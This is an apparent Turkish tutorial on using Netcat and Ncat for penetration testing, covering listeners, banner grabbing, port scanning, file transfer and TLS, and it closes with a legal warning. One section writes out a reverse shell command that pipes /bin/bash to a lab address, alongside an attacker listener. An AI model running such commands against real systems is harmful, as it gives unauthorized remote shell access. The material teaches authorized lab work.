Netcat, çoğu zaman "ağların İsviçre çakısı" diye anılır; TCP ve UDP üzerinde ham veri okuyup yazabilen, küçük ama olağanüstü esnek bir araçtır. Bir sızma testçisi için bağlantı kurmaktan ters kabuk (reverse shell) dinlemeye, dosya transferinden basit port taramaya kadar pek çok işin bel kemiğidir. Bu rehberde nc'yi temelden ileriye, gerçek komutlarla ele alıyoruz.
Konuda Anlatılacaklar
- Netcat nedir, hangi sürümleri vardır (traditional, OpenBSD, Ncat)
- İstemci/sunucu mantığı ve temel bağlantı
- Parametre referansı
- Uygulamalı: dinleme, banner grabbing, port tarama, dosya transferi
- Ters ve bağlanan (bind) kabuk mantığı
- İleri seviye: Ncat ve TLS, kalıcı dinleyici
- Sonuç, kaynakça ve yasal uyarı
1. Netcat Nedir?
Netcat (nc), standart giriş/çıkış ile bir TCP veya UDP soketi arasında veri taşıyan bir komut satırı aracıdır. Klavyeden yazdığınızı ağa, ağdan geleni ekrana aktarır. Bu basitlik, onu her türlü ağ hata ayıklaması ve veri aktarımı için evrensel kılar.
Birden fazla sürümü vardır ve bayrakları biraz farklılık gösterir:
- netcat-traditional: Eski GNU sürümü, -e (komut çalıştırma) destekler.
- netcat-openbsd: Kali/Parrot ve Debian'da varsayılan; -e yoktur, daha güvenlidir.
- Ncat: Nmap projesinin modern yeniden yazımı; TLS, proxy ve erişim kontrolü sunar.
nc -h 2>&1 | head -n 1
which nc ncat2. Kurulum
sudo apt update
sudo apt install netcat-openbsd nmap # ncat, nmap paketiyle gelir3. Parametre Referansı
-l - Dinleme (listen) modu; gelen bağlantıyı bekler:
nc -l -p 4444-v / -vv - Ayrıntılı çıktı (verbose):
nc -v HEDEF 80-n - DNS çözümlemesini atla (yalnızca IP), daha hızlı:
nc -nv 192.168.56.101 22-p - Kaynak/dinleme portu belirtme:
nc -lvp 4444-u - TCP yerine UDP:
nc -u 192.168.56.101 53-z - Veri göndermeden yalnızca port durumu sınama (tarama):
nc -zv 192.168.56.101 20-25-w - Zaman aşımı (saniye):
nc -zv -w 2 192.168.56.101 80-k - (OpenBSD/Ncat) Bağlantı kapansa da dinlemeye devam et:
nc -lk -p 44444. Uygulamalı Adımlar
Adım 1 - Basit sohbet / bağlantı testi. Bir makinede dinleyici açın:
nc -lvp 4444nc -nv 192.168.56.101 4444Adım 2 - Banner grabbing (servis parmak izi). Bir servise bağlanıp verdiği karşılama bannerını okuyabilirsiniz:
nc -nv 192.168.56.101 21220 (vsFTPd 2.3.4)Adım 3 - HTTP isteğini elle gönderme.
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc -nv 192.168.56.101 80Adım 4 - Basit port tarama. Kapsamlı tarama için Nmap daha uygundur, ancak hızlı bir kontrol için:
nc -zvn -w 1 192.168.56.101 20-100 2>&1 | grep succeededAdım 5 - Dosya transferi. Alıcı tarafta dinleyip dosyayı yazdırın:
# Alıcı
nc -lvp 4444 > gelen.tar.gz# Gönderen
nc -nv 192.168.56.101 4444 < gonderilecek.tar.gzsha256sum gonderilecek.tar.gz gelen.tar.gz5. Ters ve Bind Kabuk Mantığı
Netcat'in en bilinen kullanımı kabuk taşımaktır. Mantığı anlamak önemlidir:
- Bind shell: Hedef bir portta kabuğu dinletir, siz ona bağlanırsınız. Giden bağlantıların engellendiği, gelenlerin serbest olduğu durumlarda.
- Reverse shell: Hedef size doğru bağlanır; güvenlik duvarları genelde gidişe izin verdiği için pratikte daha çok kullanılır.
# Saldırgan (dinleyici)
nc -lvnp 4444
# Hedef (traditional netcat ile)
nc -e /bin/bash 192.168.56.102 4444OpenBSD nc'de -e yoksa FIFO ile aynı etki elde edilebilir; bu, tekniği anlamak için faydalı bir alıştırmadır.
6. İleri Seviye: Ncat ile TLS ve Erişim Kontrolü
Ncat, klasik netcat'in eksiklerini kapatır. Şifreli bir kanal için:
# Sunucu
ncat --ssl -lvp 4444
# İstemci
ncat --ssl 192.168.56.101 4444ncat -lvp 4444 --allow 192.168.56.102ncat -lvkp 44446.1. Pratik Senaryolar ve Sık Hatalar
Günlük kullanımda işinize yarayacak birkaç ek senaryo ve dikkat noktası:
- Dinleyici açılmıyor: Port zaten kullanımda olabilir. Kontrol edin: Kod:
ss -tlnp | grep 4444 - Bağlantı hemen kapanıyor: Gönderen tarafta EOF sonrası soketi kapatmak için OpenBSD nc'de -N bayrağını ekleyin: Kod:
nc -N 192.168.56.101 4444 < dosya - UDP testi: DNS gibi UDP servislerinde -u kullanın; UDP bağlantısız olduğu için "açık" teyidi TCP kadar kesin değildir: Kod:
nc -uvz 192.168.56.101 53 - Dizini topluca aktarma: Netcat tek dosya mantığıyla çalışır; bir dizini göndermek için tar ile boru kullanın: karşı taraftaKod:
tar czf - klasor/ | nc -N 192.168.56.101 4444Kod:nc -lvp 4444 | tar xzf - - Güvenlik notu: Netcat trafiği şifresizdir; hassas veriyi ancak izole lab ağında veya Ncat --ssl ile taşıyın.
Sonuç
Netcat, az sayıda bayrakla çok iş gören bir araçtır: bağlantı testi, banner grabbing, hızlı port kontrolü ve dosya transferi günlük işlerinizi kolaylaştırır. Ciddi işler için OpenBSD nc yerine özellik bakımından zengin Ncat'i tercih edin. Aracın her bayrağını bir lab'da denemeden ezberlemeyin; en kalıcı öğrenme pratiktir.
Kaynakça
- Ncat Resmi Kılavuzu (Nmap Projesi) - https://nmap.org/ncat/
- Ncat Man Sayfası - https://nmap.org/book/ncat-man.html
- OpenBSD nc(1) Man Sayfası - https://man.openbsd.org/nc.1
- Kali Tools: netcat - https://www.kali.org/tools/netcat/
- man nc / man ncat (yerel man sayfaları)
Yasal Uyarı
Alıntı:Buradaki tüm teknikler yalnızca kendi sistemleriniz veya yazılı izin aldığınız sistemler içindir. Ters kabuk, bind kabuk ve benzeri yöntemlerin izinsiz kullanımı Türk Ceza Kanunu 243-245. maddeleri uyarınca suçtur.
Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).